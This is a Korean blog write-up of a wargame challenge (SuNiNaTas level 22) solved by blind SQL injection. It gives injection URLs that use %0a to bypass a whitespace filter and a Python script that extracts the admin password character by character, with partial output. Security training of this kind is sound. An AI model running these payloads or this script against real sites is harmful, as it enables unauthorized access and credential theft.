Write-up

[SuNiNaTas] level 22

ch4rli3kop 2019. 4. 13. 21:53
반응형

Suninatas level 22

keyword : blind injection

<!-- Hint : guest / guest & Your goal is to find the admin's pw -->
<!-- M@de by 2theT0P -->

Blind SQLinjection 문제이다.

이것저것 시도해본 결과, 일단 특수문자는 대부분 안되는 것을 확인했다. 다행히 '는 되서 escape이 가능하다. white space가 필터링 대상이라 고민이 좀 됐는데, 다행히 %0a로 우회할 수 있었다.(찾아보니 괄호()로 감싸도 됨!)

Part_one/web22/web22.asp?id=guest'and%0asubstring(pw,1,1)='g'--&pw=1234
Part_one/web22/web22.asp?id=admin'and(len(pw)=10)--&pw=1234
Part_one/web22/web22.asp?id=admin'and%0asubstring(pw,1,1)='a'--&pw=1234

위처럼 사용할 수 있다. len()을 이용하여 길이가 10인 걸 알 수 있었고, 나머지는 그냥 substring()을 이용해서 한글자씩 비교하도록 코드를 돌렸다.

import urllib.request
import string

array = string.printable
leak = ''

for j in range(1, 11):
   for i in array:
       target = "http://suninatas.com/Part_one/web22/web22.asp?id=admin'and%0asubstring(pw,{},1)='{}'--&pw=1234"
       re = urllib.request.Request(target.format(j,i))
       re.add_header("Cookie","ASPSESSIONIDCSAARTSC=KELNKLFBEBIHLHILKGKJNOBN")

       data = urllib.request.urlopen(re).read().decode('utf-8')
       #print(data)
       if 'OK' in data:
           leak += i
           print(leak)
           break
'''
...
N1c3Bil
N1c3Biln
N1c3Bilnl
N1c3Bilnl)


반응형

'Write-up' 카테고리의 다른 글

[Python Challenge] level 0  (0) 2019.04.13
[SuNiNaTas] level 23  (0) 2019.04.13
[SuNiNaTas] level 8  (0) 2019.04.13
[SuNiNaTas] level 7  (0) 2019.04.13
[SuNiNaTas] level 6  (1) 2019.04.13